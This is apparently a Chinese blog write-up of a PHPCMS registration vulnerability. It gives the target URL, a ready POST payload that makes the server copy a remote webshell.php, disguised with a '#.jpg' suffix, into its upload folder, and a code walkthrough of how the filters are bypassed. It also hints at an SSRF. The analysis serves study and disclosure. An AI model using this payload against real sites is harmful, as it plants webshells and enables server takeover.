比较久的一个洞了,当时正好没啥时间看,今天突然想起来,那就翻出来分析一波把23333
源码地址 https://github.com/pupiles/vulcms
测试环境PHPSTORM + XDEBUG + PHP5.4 + firefox
漏洞url
1 | http://localhost/install_package/index.php?m=member&c=index&a=register&siteid=1 |
漏洞exp
1 | siteid=1&modelid=1&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://files.pupiles.com/webshell/webshell.php#.jpg>&dosubmit=1 |
漏洞演示如下:
然后会返回操作失败
然而我们的webshell已经存放在目标站的upload下了
漏洞细节
首先我们看一下逻辑知道目标漏洞位于普通用户的注册逻辑处,那么按照一般MVC的尿性我们打开,应该在modules=member&&method=register
处,于是我们就来到1
phpcms/modules/member/index.php
根据exp直接搜索$_POST['info']
,来到130行1
2
3
4
5
6
7
8//附表信息验证 通过模型获取会员信息
if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']);
}
这里我们可以看到$_POST[‘info’]经过一个叫做array_map函数处理,也就是$_POST[‘info’]经过一个自定义的叫做new_html_special_chars
的函数处理,我们拐进去看一下(快捷键ctrl+b)
。1
2
3
4
5
6
7function new_html_special_chars($string) {
$encoding = 'utf-8';
if(strtolower(CHARSET)=='gbk') $encoding = 'gb2312';
if(!is_array($string)) return htmlspecialchars($string,ENT_COMPAT,$encoding);
foreach($string as $key => $val) $string[$key] = new_html_special_chars($val);
return $string;
}
没啥特别的。就是把数组拆开,然后对每个值进行htmlspecial
处理。
我们跳回去再看1
$user_model_info = $member_input->get($_POST['info'])
这里调用了$member_input类的get方法,而这个$member_input
又是member_input类的一个对象。这里我想提一个题外话,注意一下实例化的时候传入了一个$userinfo['modelid']
参数,这个参数其实就是我们exp中的modelid=1
,这里这个参数其实对于此漏实并没有影响。然后我们来看一下我们的大头戏get方法1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35function get($data) {
$this->data = $data = trim_script($data);
$model_cache = getcache('member_model', 'commons');
$this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];
$info = array();
$debar_filed = array('catid','title','style','thumb','status','islink','description');
if(is_array($data)) {
foreach($data as $field=>$value) {
if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
$field = safe_replace($field);
$name = $this->fields[$field]['name'];
$minlength = $this->fields[$field]['minlength'];
$maxlength = $this->fields[$field]['maxlength'];
$pattern = $this->fields[$field]['pattern'];
$errortips = $this->fields[$field]['errortips'];
if(empty($errortips)) $errortips = "$name 不符合要求!";
$length = empty($value) ? 0 : strlen($value);
if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!");
if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
if($maxlength && $length > $maxlength && !$isimport) {
showmessage("$name 不得超过 $maxlength 个字符!");
} else {
str_cut($value, $maxlength);
}
if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);
$info[$field] = $value;
}
}
return $info;
}
代码balabala写的挺长的,不过我们这时候我们只需要提取一些关键部分的代码,像一些对于变量本身的值没有影响以及无关变量的代码就可以省去了,就跟做英语阅读理解一样。举个栗子,像这段代码中的变量赋值,以及对我们本身关注的变量$value
没有影响的代码就可以省去了,精简完如下1
2
3
4
5
6
7
8
9
10
11
12
13function get($data) {
$this->data = $data = trim_script($data);
$info = array();
if(is_array($data)) {
$field = safe_replace($field);
foreach($data as $field=>$value) {
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);
$info[$field] = $value;
}
}
return $info;
}
这样代码就看起来就很容易理解了,好了回到正题。这里我们的$data
也就是$_POST['info']
显示经过了一个叫做trim_script的函数处理,我们依然拐进去看一下。1
2
3
4
5
6
7
8
9
10
11
12
13function trim_script($str) {
if(is_array($str)){
foreach ($str as $key => $val){
$str[$key] = trim_script($val);
}
}else{
$str = preg_replace ( '/\<([\/]?)script([^\>]*?)\>/si', '<\\1script\\2>', $str );
$str = preg_replace ( '/\<([\/]?)iframe([^\>]*?)\>/si', '<\\1iframe\\2>', $str );
$str = preg_replace ( '/\<([\/]?)frame([^\>]*?)\>/si', '<\\1frame\\2>', $str );
$str = str_replace ( 'javascript:', 'javascript:', $str );
}
return $str;
}
转义了一些特殊的标签,跟我们没啥关系,那我们就跳回来继续看。来到1
$field = safe_replace($field);
依旧拐进去看一下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}
把我们的payload的<
,>
替换成字符实体了,然而不管我们跳回来继续看。1
2$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);
这段代码大致的意思判断$func
方法是否存在,如果存在,就用$func
方法处理我们的关键变量$value
,可是看到这里我相信很多同学都跟我有一样的疑问,$this->fields
是什么?$this->fields[$field]
又是什么?$func
到底是神魔鬼啊?
这时候我们就要掏出神器xdebug
来进行动态调试,先设个断点。
接着调试页面,输入我们的exp,可以看到我们在断点处停下来了
果断F7下一步
这里我们可以到$func的值为editor并且content
跟我预测的一样,标签符被替换成了字符实体。
好了,既然我们知道了$func的值,那我们就去跳去本类下的editor方法处看看有没有什么惊喜吧。1
2
3
4
5
6
7
8function editor($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
$enablesaveimage = $setting['enablesaveimage'];
$site_setting = string2array($this->site_config['setting']);
$watermark_enable = intval($site_setting['watermark_enable']);
$value = $this->attachment->download('content', $value,$watermark_enable);
return $value;
}
这里我们可以看到全场最关键的部分来了1
$value = $this->attachment->download('content', $value,$watermark_enable);
这是什么?下载啊,赶紧跟进去看一下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system','upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);
$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}
依旧只找关键部分,先来到1
$string = new_stripslashes($value);
拐进去看一下1
2
3
4
5function new_stripslashes($string) {
if(!is_array($string)) return stripslashes($string);
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
return $string;
}
也没啥特别的,就是一个数组版的stripslashes
函数,然后来到1
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
这里对我们的payload进行了正则匹配,$ext
是一个允许的拓展名的数组,如果匹配不到就会退出1
$ext = 'gif|jpg|jpeg|bmp|png'
这里还是挺好绕过的1
src=http://files.pupiles.com/webshell/webshell.php#.jpg
所以我们往下继续看
来到这一行1
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
我们的url经过了一个叫做fillurl的方法处理
代码比较长,为了节省文章篇幅,我就截取了最重要的部分1
2
3
4
5
6
7
8
9$surl = trim($surl);
if($surl=='') return '';
$urls = @parse_url(SITE_URL);
$HomeUrl = $urls['host'];
$BaseUrlPath = $HomeUrl.$urls['path'];
$BaseUrlPath = preg_replace("/\/([^\/]*)\.(.*)$/",'/',$BaseUrlPath);
$BaseUrlPath = preg_replace("/\/$/",'',$BaseUrlPath);
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
可以看到这里不仅仅对我们的url没有进行任何的过滤,还帮助我们把#
后面的内容全部省去了,离成功又进了一步,我们调回去继续看1
2$upload_func = $this->upload_func;
if($upload_func($file, $newfile))
这里我们可以看到进行了$upload_func
函数的操作,我们在最开始可以看到该变量的赋值1
2
3function __construct($module='', $catid = 0,$siteid = 0,$upload_dir = '') {
$this->upload_func = 'copy';
}
那么思路就很清晰了,我们调用了php的copy
方法对我们传入payload的url进行了处理。
至此漏洞复现成功(完结,撒花!)
(PS1:既然这里的url我们是可控的,那是不是也存在ssrf漏洞呢)
(PS2:网上看别的大佬复现的时候会出现mysql报错)
然而我却只是提示个操作失败,如果有知道的师傅请留个言,谢谢